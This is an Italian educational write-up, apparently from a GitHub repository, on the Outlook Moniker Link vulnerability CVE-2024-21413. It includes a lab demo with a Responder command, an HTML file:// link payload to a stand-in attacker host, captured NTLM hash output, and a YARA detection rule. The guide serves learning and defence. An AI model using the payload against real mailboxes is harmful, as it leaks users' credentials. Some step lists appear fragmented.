bhatbhupendra/moniker-link--cve-2024-21413-Guida educativa su CVE-2024-21413, la vulnerabilità Outlook zero-click Moniker Link, che copre il flusso dell'attacco, la cattura delle credenziali NTLM, il rilevamento con YARA e le strategie di mitigazione.
CVE-2024-21413, comunemente nota come vulnerabilità Moniker Link, è una grave falla di sicurezza in Microsoft Outlook che consente agli aggressori di divulgare le credenziali degli utenti senza richiedere alcuna interazione.
A differenza dei tradizionali attacchi di phishing, questa vulnerabilità può essere attivata semplicemente visualizzando un'anteprima dell'email, rendendola particolarmente pericolosa in ambienti aziendali.
Il problema deriva da come Outlook elabora i moniker link, causando tentativi di autenticazione indesiderati verso sistemi controllati dall'aggressore.
Comprendere i seguenti concetti è essenziale:
Un meccanismo specifico di Windows che consente alle applicazioni di fare riferimento a risorse esterne utilizzando protocolli come:
file://unc://\\attacker-server\share
Utilizzato per accedere a risorse condivise su una rete. In questa vulnerabilità, viene abusato per forzare richieste di autenticazione.
La Visualizzazione Protetta di Outlook è progettata per isolare contenuti potenzialmente pericolosi. Questa vulnerabilità bypassa tale protezione, consentendo l'accesso a risorse esterne.
Creazione del Payload
file://attacker-server/share) all'interno di un'email.Consegna
Attivazione
Elaborazione Automatica
Richiesta di Autenticazione
Esposizione delle Credenziali
[Attacker]
|
| 1. Send crafted email
v
[Victim Outlook]
|
| 2. Auto-process moniker link
v
[Windows System]
|
| 3. NTLM authentication attempt
v
[Attacker Server]
|
| 4. Capture NTLM hash
v
[Credential Abuse / Lateral Movement]
⚠️ Eseguire solo in ambienti di laboratorio controllati
sudo responder -I eth0
<a href="file://attacker-ip/share">Open Document</a>
[SMB] NTLMv2 Hash captured
User: victim
Una regola di rilevamento è stata sviluppata da Florian Roth per identificare tentativi di sfruttamento che coinvolgono moniker link.
rule Outlook_MonikerLink_CVE_2024_21413
{
meta:
description = "Detects Outlook Moniker Link exploitation via file:// or UNC paths"
author = "Florian Roth"
reference = "CVE-2024-21413"
strings:
$a = "file://"
$b = "\\\\"
condition:
any of them
}
file:// e basati su UNCCVE-2024-21413 dimostra come comportamenti di sistema profondamente integrati (come l'autenticazione automatica) possano essere sfruttati attraverso input apparentemente innocui come i link nelle email.
💡 Raccomandazione: Riprodurre questa vulnerabilità in un laboratorio virtuale (ad es., VM Windows + VM attaccante) per comprendere appieno la catena di attacco e le strategie difensive.